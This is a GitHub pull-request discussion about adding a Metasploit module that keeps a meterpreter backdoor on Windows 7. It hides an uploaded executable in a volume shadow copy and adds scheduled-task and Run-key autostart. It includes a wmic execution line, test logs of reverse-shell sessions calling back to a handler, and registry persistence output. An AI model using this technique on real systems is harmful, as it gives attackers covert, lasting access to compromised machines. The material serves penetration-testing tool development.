Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VSS Persistence on Windows 7 #2503

Merged
merged 14 commits into from Oct 15, 2013
Merged

VSS Persistence on Windows 7 #2503

merged 14 commits into from Oct 15, 2013

Conversation

JexDev
Copy link

@JexDev JexDev commented Oct 11, 2013

This Module uploads your provided executable , creates a back up (VSS) and then it deletes the executable , runs it from ?\GLOBALROOT/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable , this module also gives you the option to add SCHTASK and AUTORUN KEY to give it more "persistence". the option to run the exe is also added to let the attacker decide when to run it.

print_status("Not Running .EXE")
else
print_good("Running uploaded Executable.")
run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true})
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

breaking this into multiple lines would make it much more readable.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

 end
  • end
  • if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty?
  •  print_status("Not Running .EXE")
    

is this what you are talking about?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nvm i gotchu

@jvazquez-r7
Copy link
Contributor

The module isn't msftidy compliant, warnings should be fixed in order to proceed:

$ tools/msftidy.rb modules/post/windows/manage/vss_persistence.rb 
vss_persistence.rb:28 - [WARNING] Spaces at EOL
vss_persistence.rb:29 - [WARNING] Spaces at EOL
vss_persistence.rb:52 - [WARNING] Spaces at EOL
vss_persistence.rb:67 - [WARNING] Spaces at EOL
vss_persistence.rb:95 - [WARNING] Spaces at EOL
vss_persistence.rb:101 - [WARNING] Spaces at EOL
vss_persistence.rb:104 - [WARNING] Line exceeding 200 bytes
vss_persistence.rb:110 - [WARNING] Line exceeding 200 bytes
vss_persistence.rb:111 - [WARNING] Spaces at EOL
vss_persistence.rb:135 - [WARNING] Spaces at EOL
vss_persistence.rb:149 - [WARNING] Spaces at EOL

'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['MrXors Mr.Xors<at>gmail.com'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The correct format for the Author entry would be:

'Author'               => [ 'MrXors <Mr.Xors[at]gmail.com>' ],

@JexDev
Copy link
Author

JexDev commented Oct 14, 2013

Im still having a issue using optpath on RPATH cause it errors out for some reason when you try to enter \location\to\put\exe\ , i need this format to be ( \Windows\Temp or \Users\Public\Desktop ) entered in order to avoid using regex to splice up the datastore['RPATH'] var and remove the C:\ or what ever the issue is when im using OptPath. OptString works great.

@jvazquez-r7
Copy link
Contributor

RPATH is okey as string because it's a remote path :) The comment only applied to the PATH option indeed.

@JexDev
Copy link
Author

JexDev commented Oct 14, 2013

Cool, that saves me.

@jvazquez-r7
Copy link
Contributor

Processing again btw :)

@JexDev
Copy link
Author

JexDev commented Oct 14, 2013

awesome! i know i changed it up a bit, hopefully for the better.

@location = trgloc
end
ext = file[file.rindex(".") .. -1]
if ext and ext.downcase == ".exe"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like extension of file can be only ".exe", is it right :? If it isn't exe @file_on_target isn't correctly initialized.

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

yes it can only be exe.

@jvazquez-r7
Copy link
Contributor

Hi @MrXors,

https://github.com/MrXors/metasploit-framework/pull/1 tries to clean the code in this pull request.

After modification it has been tested successfully:

msf post(vss_persistence) > rexploit
[*] Reloading module...

[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading /tmp/meterpreter.exe....
[*] FILE ON TARGET \Windows\Temp\svhost26.exe
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Deleting malware...
[*] Finding the Shadow Copy Volume...
[*] Executing \Windows\Temp\svhost26.exe...
[*] Installing as autorun in the registry...
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\upDOBbfhYlB
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\upDOBbfhYlB
[*] Cleanup Meterpreter RC File: /Users/juan/.msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131014.5412/WIN-RNJ7NBRK9L7_20131014.5412.rc
[*] Post module execution completed

The svhost26.exe is a meterpreter which is successfully correctly at the moment, but even with REGKEY set to true, and even when the registry entry is created I am not able to get a new session when target system is rebooted. Is REGKEY working correctly on your testing :? I'm going to try with your code without any modification to test if the REGKEY option is working as expected.

On the other hand, feel free to review, check, discuss, test, etc. this code and once you feel comfortable feel free to land into your repo so this one will be automatically updated.

Thanks!

@jvazquez-r7
Copy link
Contributor

Testing with your current code the RUNKEY feature isn't working neither:

msf post(vss_persistence) > set RUNKEY true
RUNKEY => true
msf post(vss_persistence) > set SESSION 2
SESSION => 2
msf post(vss_persistence) > run

[*] Volume Shadow Copy service is running.
[*] Uploading /tmp/meterpreter.exe....
[*] ShadowCopy created successfully
[+] Shadow Volume Copy Created "{FB6DE0F1-87E7-4B77-9FEE-866FE6DDB7F5}"
[+] Deleting Malware \svhost72.exe!
[+] Clean Up Complete.
[+] Running Executable!
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jOuoLDoEkaiBgv
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jOuoLDoEkaiBgv
[*] Cleanup Meterpreter RC File: /Users/juan/.msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131014.0953/WIN-RNJ7NBRK9L7_20131014.0953.rc
[*] Post module execution completed

On the handler I got a first session when running the executable:

msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.172.133
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.133:49160) at 2013-10-14 13:09:55 -0500

meterpreter > background
[*] Backgrounding session 3...
msf exploit(handler) > sessions -k 3
[*] Killing session 3
  • but nothing after reboot:
[*] 192.168.172.133 - Meterpreter session 3 closed.
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...


is the RUNKEY working correctly on your side :? Am I forgetting something on my testing? guidance is welcome!

@JexDev
Copy link
Author

JexDev commented Oct 14, 2013

i just tested your code and the cmd_exec("vssadmin List Shadow|find "Sha...) is not giving me any output but i like your layout better i will fix runkey issue also. On my code RUNKEY is working but i havent checked the reboot shell, i believe i have got a shell after reboot.commiting soon/ merging your code also

@jvazquez-r7
Copy link
Contributor

cool, thanks a lot! I will test all the features once pull request is updated :)

@JexDev
Copy link
Author

JexDev commented Oct 14, 2013

almost there, got the reg problem fixed, it was a var issue, now need to make schtask not pop up cmd windows when executing , runkey session works after reboot, needed to add wmic process create to cmd to run executeble, going home then upload merged data, thanks for the help, Rapid-7 Kicks Ass! and thank you for the quick response time

@jvazquez-r7
Copy link
Contributor

hahaha cool, no thank you for collaboration and keep working on it! Feel free to update pr when ready and we'll continue the pull request handling :)

@jvazquez-r7
Copy link
Contributor

Processing!

@jvazquez-r7
Copy link
Contributor

Successfully tested RUNKEY, SCHTASKS and the resource script for cleanup:

msf post(vss_persistence) > show options

Module options (post/windows/manage/vss_persistence):

   Name     Current Setting       Required  Description
   ----     ---------------       --------  -----------
   DELAY    2                     yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true                  yes       Run the EXE on the remote system.
   PATH     /tmp/meterpreter.exe  yes       Path to Executable on your local system.
   RPATH                          no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   true                  yes       Create AutoRun Key for the EXE
   SCHTASK  true                  yes       Create a Scheduled Task for the EXE.
   SESSION                        yes       The session to run this module on.
   VOLUME   C:\                   yes       Volume to make a copy of.

msf post(vss_persistence) > show sessions

Active sessions
===============

  Id  Type                   Information                                     Connection
  --  ----                   -----------                                     ----------
  1   meterpreter x86/win32  WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7  192.168.172.1:4444 -> 192.168.172.134:49158 (192.168.172.134)

msf post(vss_persistence) > set session 1
session => 1
msf post(vss_persistence) > rexploit
[*] Reloading module...

[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading /tmp/meterpreter.exe....
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost42.exe...
[*] Creating Scheduled Task...
[*] Installing as autorun in the registry...
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wLkwECxGTk
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wLkwECxGTk
[*] Cleanup Meterpreter RC File: /Users/juan/.msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131015.2302/WIN-RNJ7NBRK9L7_20131015.2302.rc
[*] Post module execution completed

Sessions correctly got every two minutes and after restarting, once user inits session (password required):

meterpreter > resource .msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131015.2302/WIN-RNJ7NBRK9L7_20131015.2302.rc
[*] Reading .msf4/logs/persistence/WIN-RNJ7NBRK9L7_20131015.2302/WIN-RNJ7NBRK9L7_20131015.2302.rc
[*] Running execute -H -f cmd.exe -a "/c schtasks.exe /delete /tn VrJxLvERpzaVT /f"

Process 3128 created.
[*] Running reg  deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v wLkwECxGTk

Successfully deleted wLkwECxGTk.
meterpreter > exit

@jvazquez-r7
Copy link
Contributor

Lading! Thanks @MrXors for keep working on it!

@jvazquez-r7
Copy link
Contributor

Last holdup, just verifying with @jlee-r7 if this module is okey as post exploitation module. With the introduction of support for local exploits, afaik the preferred way of writing modules to get persistence is through local exploits, since they finally get a session. But since he has already reviewed this module maybe I'm wrong.... so just asking for confirmation before landing.

@JexDev
Copy link
Author

JexDev commented Oct 15, 2013

Awesome ! Thanks for all the help!

@jvazquez-r7
Copy link
Contributor

Okay, so after speaking with @jlee-r7:

< egypt> juan: it takes an executable, so it should be an exploit
< egypt> juan: but at the same time, i can see use cases where you'd want to use an outside exe.
< egypt> juan: EXE::Custom solves that
< egypt> ok, so yes.  local exploit with the EXE mixin so users can use EXE::Custom

I've already converted the post module to local exploit, it's an easy change :) So user hasn't to worry about the payload creation if he would like to make msf session persistent. If he wants to use his own EXE, still the EXE::Custom provided by the Msf::Exploit::EXE mixin can be used :)

Test:

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                                     Connection
  --  ----                   -----------                                     ----------
  6   meterpreter x86/win32  WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7  192.168.172.1:4444 -> 192.168.172.134:49158 (192.168.172.134)

msf exploit(handler) > use exploit/windows/local/vss_persistence 
msf exploit(vss_persistence) > show options

Module options (exploit/windows/local/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    2                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  false            yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   true             yes       Create AutoRun Key for the EXE
   SCHTASK  true             yes       Create a Scheduled Task for the EXE.
   SESSION  5                yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.172.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7


msf exploit(vss_persistence) > set EXECUTE true
EXECUTE => true
msf exploit(vss_persistence) > set session 6
session => 6
msf exploit(vss_persistence) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service is running.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost29.exe...
[*] Sending stage (770048 bytes) to 192.168.172.134
[*] Creating Scheduled Task...
[*] Meterpreter session 7 opened (192.168.172.1:4444 -> 192.168.172.134:49162) at 2013-10-15 11:10:27 -0500



^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
eComputer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 7 closed.  Reason: User exit

The changes are available at https://github.com/MrXors/metasploit-framework/pull/2, @MrXors please, feel free to check, review, discuss and once you feel comfortable you can land it into your repo and this one will be automatically updated and ready to go!

@JexDev
Copy link
Author

JexDev commented Oct 15, 2013

works great, i Love it way better as an exploit mod, looks good to me boss! ready to go

@jvazquez-r7
Copy link
Contributor

absolutely! landing! thanks a lot @MrXors !

jvazquez-r7 pushed a commit that referenced this pull request Oct 15, 2013
@jvazquez-r7 jvazquez-r7 merged commit f345414 into rapid7:master Oct 15, 2013
@wchen-r7 wchen-r7 mentioned this pull request Oct 16, 2013
5 tasks
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants